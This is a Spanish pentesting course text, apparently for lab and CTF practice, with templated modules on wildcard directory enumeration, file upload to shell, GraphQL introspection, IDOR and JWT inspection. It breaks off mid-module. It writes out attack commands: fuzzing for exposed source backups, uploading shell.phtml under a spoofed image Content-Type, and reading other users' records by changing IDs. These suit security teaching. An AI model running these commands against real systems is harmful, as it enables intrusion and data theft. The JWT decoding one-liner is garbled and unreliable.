Enumeracion web con respuestas comodin (wildcard)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Algunas apps devuelven una pagina generica (200 OK) para toda ruta que no existe, en vez de un 404. Eso hace que gobuster/ffuf marquen como 'validas' todas las rutas y te llenen de falsos positivos. La clave es que las respuestas comodin comparten un tamano/estructura fijos, asi que filtras por ese tamano en lugar de por el codigo.

Un front controller o un handler catch-all sirve la misma plantilla (login, home, error bonito) para rutas desconocidas y responde 200. El fuzzer solo mira el status por defecto, asi que no ve la diferencia hasta que le dices que ignore ese tamano concreto.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando un escaneo de directorios devuelve casi todo en 200 con longitudes identicas, o cuando abrir una ruta inventada a mano te da la misma pagina que una ruta real. Sospecha en apps con enrutado propio (PHP con .htaccess, SPA, frameworks).

Cómo identificarla

- Casi todas las lineas del escaneo son 200 y comparten la misma longitud.
- Una ruta inventada a mano devuelve la misma pagina que el sitio real.
- Tras encontrar login.php, buscar backups con '-x bak' sobre la palabra 'login' prueba login.bak pero no login.php.bak: repite el fuzzing sobre los nombres COMPLETOS ya descubiertos (login.php.bak/.old/.save).

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Pide una ruta imposible (p.ej. /qwerty-noexiste-123) y anota su status y bytes; si es 200 con un tamano fijo, filtra ese tamano en el fuzzer.

Evidencia esperada: El escaneo pasa de cientos de falsos 200 a una lista corta de rutas realmente distintas.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
gobuster dir -u $URL/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,old,txt --exclude-length 1491
```

Objetivo y contexto: `--exclude-length` descarta las respuestas comodín de ese tamaño fijo (aquí 1491 bytes), dejando solo lo que difiere de verdad. Sustituye 1491 por el tamaño que midas.

Resultado esperado: Una lista corta de rutas con longitud distinta a la comodín. Ahí están los ficheros reales (login.php, api_login.php, etc.).

Capa 2: prueba documentada

```
ffuf -u $URL/login.phpFUZZ -w <(printf '%s\n' .bak .old .save .swp ~) -mc all -fs 1491
```

Objetivo y contexto: Segunda pasada sobre un fichero YA descubierto para encontrar copias por extensión del nombre completo, el fallo que `'-x bak'` sobre la palabra base no cubre.

Resultado esperado: login.php.bak/.old/.save si existen. Un backup servido como texto = código fuente expuesto con credenciales y endpoints.

Anatomía de los payloads

La primera prueba es `gobuster dir -u $URL/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,old,txt --exclude-length 1491`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

El escaneo pasa de cientos de falsos 200 a una lista corta de rutas realmente distintas.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Mide la respuesta comodín pidiendo una ruta imposible y apunta bytes/palabras.
- Relanza el fuzzer excluyendo ese tamaño para eliminar los falsos positivos.
- Sobre los ficheros reales descubiertos, haz una segunda pasada buscando copias por extensión del nombre completo (.php.bak, .php.old, .php.save, .swp).

- Abre los backups: se sirven como texto y suelen filtrar credenciales, endpoints reales y logica (fuente expuesta).

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El servidor devuelve 404 real para rutas inexistentes (el filtrado por status normal ya sirve).
- Las respuestas comodín tienen longitud variable (contenido dinámico): filtra entonces por regex/palabras, no por bytes fijos.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

El servidor responde 200 a CUALQUIER ruta, así que el código HTTP no distingue lo real de lo inexistente: filtra por longitud o palabras, no por status. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y precondiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (enum-wildcard-responses)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Subida de ficheros a shell

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Cuando una app permite subir ficheros, el riesgo es doble: que acepte un fichero con código ejecutable (un .php, .aspx, .jsp) donde el servidor interpreta ese lenguaje, Y que ese fichero acabe en una ruta accesible por HTTP donde puedas pedirlo. Si ambas cosas se cumplen, subir un fichero se convierte en ejecutar código.

El programador valida de forma incompleta: solo la extensión (pero acepta .phtml o doble extensión), solo el Content-Type (que tú controlas y puedes falsear), o solo el nombre (pero no el contenido real, los 'magic bytes'). Cualquier validación que dependa de datos que TÚ envías es evitable.

Modelo mental

```
Entrada controlada -> transformaciones -> validación -> componente final
                    -> sink -> efecto observable -> decisión
```

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En cualquier formulario de subida: avatar, adjuntos, importación de ficheros, subida de temas/plugins (WordPress). Prioriza probarlo si la app es de un stack que ejecuta ficheros interpretados (PHP es el caso más común en CTF).

Cómo identificarla

- El formulario solo comprueba la extensión del NOMBRE, no el contenido real del fichero.
- Puedes predecir o descubrir la ruta donde se guardan los uploads (uploads/, /files/, patrón de nombre).
- El Content-Type que TÚ envías en la petición es el que decide la validación (fácilmente falseable).

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Sube un fichero con extensión ejecutable disfrazado de imagen (Content-Type image/png) y comprueba si el servidor lo acepta y donde lo guarda.

Evidencia esperada: El fichero se sube sin rechazo y puedes localizarlo (ruta predecible o listado); al pedirlo por HTTP, el servidor lo EJECUTA en vez de servirlo como archivo estático.

Construcción progresiva del payload

1. Reproduce una entrada válida.

2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS -F 'file=@shell.phtml;type=image/png' "$URL/upload"
```

Objetivo y contexto: Sube un fichero .phtml (extension alternativa que muchos servidores PHP tambien ejecutan) declarando un Content-Type de imagen para intentar pasar validaciones basadas en ese campo.

Resultado esperado: La respuesta suele indicar exito y a veces la ruta del fichero subido. Si no la da, prueba rutas predecibles (uploads/shell.phtml) o busca un listado de directorio.

Anatomía de los payloads

La primera prueba es `curl -sS -F 'file=@shell.phtml;type=image/png' "$URL/upload"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

El fichero se sube sin rechazo y puedes localizarlo (ruta predecible o listado); al pedirlo por HTTP, el servidor lo EJECUTA en vez de servirlo como archivo estatico.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Prueba primero un upload normal para entender el flujo: donde se guarda, como se nombra, si redirige a una URL del fichero.
- Prueba bypasses de extension: doble extension (shell.php.jpg), extensiones alternativas que el servidor tambien ejecuta (.phtml, .phar), o null byte si el stack es muy viejo.
- Si valida Content-Type, cambialo a image/png o similar mientras el contenido sigue siendo tu shell.
- Localiza el fichero subido y pidelo por HTTP; si se ejecuta, confirma con un payload minimo antes de una reverse shell completa.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El servidor valida magic bytes Y extension Y Content-Type de forma consistente, y ademas sirve los uploads desde una ruta sin permiso de ejecucion.
- Los ficheros subidos se guardan fuera del webroot o se renombran de forma no predecible sin que puedas listarlos.

- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Un formulario de subida acepta un fichero que el servidor luego EJECUTA; súbelo, encuentra su ruta, y ejecútalo. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y preconditiones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.

4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (file-upload)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Seguridad de GraphQL

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

GraphQL concentra muchos recursos en un endpoint y permite seleccionar campos mediante un schema.

Introspection abierta, resolveres sin autorización y consultas costosas amplían la superficie de ataque.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando observas `/graphql`, `content-type application/graphql` o cuerpos JSON con query.

Cómo identificarla

- `__schema`
- `query`
- `mutation`
- `errors`
- `data`

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Una petición válida devuelve datos o errores GraphQL estructurados.

Evidencia esperada: Tienes el schema disponible o una lista de operaciones y sabes donde probar permisos y límites.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.

5. Aplica una sola adaptación cuando haya evidencia de restricción.

6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS "$URL/graphql" -H 'Content-Type: application/json' --data '{"query":"{ __typename }"}'
```

Objetivo y contexto: Confirma que el endpoint procesa GraphQL.

Resultado esperado: Respuesta data o error GraphQL.

Capa 2: prueba documentada

```
curl -sS "$URL/graphql" -H 'Content-Type: application/json' --data @introspection.json
```

Objetivo y contexto: Solicita el schema si esta permitido.

Resultado esperado: Tipos, campos y operaciones disponibles.

Anatomía de los payloads

La primera prueba es `curl -sS "$URL/graphql" -H 'Content-Type: application/json' --data '{"query":"{ __typename }"}'`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Tienes el schema disponible o una lista de operaciones y sabes donde probar permisos y límites.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Comprueba introspection.
- Enumera queries y mutations.
- Repite operaciones con identidades distintas.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- No aplica a APIs REST sin endpoint GraphQL identificable.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Enumerar schema, queries, mutations y controles de autorizacion en GraphQL. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (graphql-security)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

IDOR / Broken Object Level Authorization (BOLA)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Un IDOR (Insecure Direct Object Reference) ocurre cuando la app usa un identificador (un ID numerico, un UUID, un email) para acceder a un recurso, y el backend confía en que 'si conoces el ID, tienes permiso'. Si cambias el ID por el de otro usuario y el backend no revalida que ESE ID te pertenece, accedes a datos o acciones ajenas. BOLA es el mismo bug con nombre mas moderno, centrado en APIs.

El programador comprueba que ESTAS autenticado (tienes un token valido) pero se olvida de comprobar que ese token tiene permiso sobre ESE recurso concreto. Autenticacion (quien eres) y autorizacion (que puedes tocar) son cosas distintas, y este bug es exactamente confundirlas.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En cualquier endpoint que reciba un identificador de recurso: /api/users/{id}, /api/orders/{id}, /invoice/{id}.pdf, ?user_id=. Sospecha mas si los IDs son secuenciales (facil de adivinar) que si son UUIDs (aunque UUIDs filtrados en otra respuesta tambien sirven).

Cómo identificarla

- IDs numericos secuenciales en la URL o el JSON de respuesta.
- El frontend oculta botones/vistas segun el rol, pero la llamada a la API subyacente no cambia.
- Cambiar el ID devuelve 200 con datos que no son tuyos.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Con tu sesion, pide el mismo endpoint cambiando el ID por uno que sepas que no es tuyo (otro usuario, otro pedido).

Evidencia esperada: Un 200 con datos de otro usuario/recurso (o una accion aceptada sobre un recurso ajeno) confirma el IDOR. Un 403/404 descarta ese endpoint concreto.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS "$URL/api/users/1001" -H "Authorization: Bearer $TOKEN"
```

Objetivo y contexto: Pide un recurso con un ID que probablemente no es el tuyo, usando tu propio token. Si el backend solo mira 'hay token valido' y no 'este token puede ver el 1001', el IDOR se confirma.

Resultado esperado: Datos de un usuario que no eres tu (nombre, email, direccion) devueltos con 200. Repite con varios IDs cercanos para confirmar el patron.

Anatomía de los payloads

La primera prueba es `curl -sS "$URL/api/users/1001" -H "Authorization: Bearer $TOKEN"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Un 200 con datos de otro usuario/recurso (o una acción aceptada sobre un recurso ajeno) confirma el IDOR. Un 403/404 descarta ese endpoint concreto.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Identifica todos los endpoints que reciben un ID de recurso (usuario, pedido, factura, mensaje).
- Crea o consigue dos identidades si el reto lo permite; compara la misma llamada con cada una.
- Cambia el ID de un recurso propio por uno ajeno y observa la respuesta completa, no solo el código HTTP.
- Prueba también acciones de escritura (PUT/DELETE) sobre IDs ajenos, no solo lectura (GET).

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El backend revalida en cada petición que el recurso pertenece al usuario autenticado (403/404 al cambiar el ID).
- El ID no identifica un recurso privado (es público por diseño, como el ID de un producto en un catálogo).
- Ejecutar la prueba sin adaptar variables ni versión.

- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Cambias el ID de un recurso en la URL o el JSON y accedes a datos o acciones de otro usuario porque el backend no revalida el permiso. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y preconditiones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.

5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(idor-bola\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Seguridad de JWT

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

JWT transporta claims firmados; la seguridad depende de validar firma, algoritmo, audiencia y tiempos.

Aceptar tokens manipulados o mal emitidos permite cambiar identidad, permisos o caducidad.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando la API usa tokens con tres segmentos separados por puntos.

Cómo identificarla

- alg
- exp
- sub
- role
- aud

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Decodifica header y payload sin alterar el token original y registra los claims observados.

Evidencia esperada: Conoces el algoritmo, claims sensibles y comprobaciones que debes intentar validar en laboratorio.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.

4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
python3 -c "import base64,json; t='$TOKEN'.split('.')[1]; print(json.loads(base64.urlsafe_b64decode(t+'*(-len(t)%4))))"
```

Objetivo y contexto: Inspecciona claims localmente.

Resultado esperado: Payload JSON del token.

Capa 2: prueba documentada

```
jwt_tool $TOKEN
```

Objetivo y contexto: Enumera comprobaciones habituales sobre el JWT.

Resultado esperado: Hallazgos y pruebas sugeridas.

Anatomía de los payloads

La primera prueba es `python3 -c "import base64,json; t='$TOKEN'.split('.')[1]; print(json.loads(base64.urlsafe_b64decode(t+'*(-len(t)%4))))"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Conoces el algoritmo, claims sensibles y comprobaciones que debes intentar validar en laboratorio.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Decodifica header y payload.
- Comprueba expiracion y audiencia.
- Valida que cambios invaliden la firma.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- No aplica si la sesion usa exclusivamente cookies opacas sin JWT.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

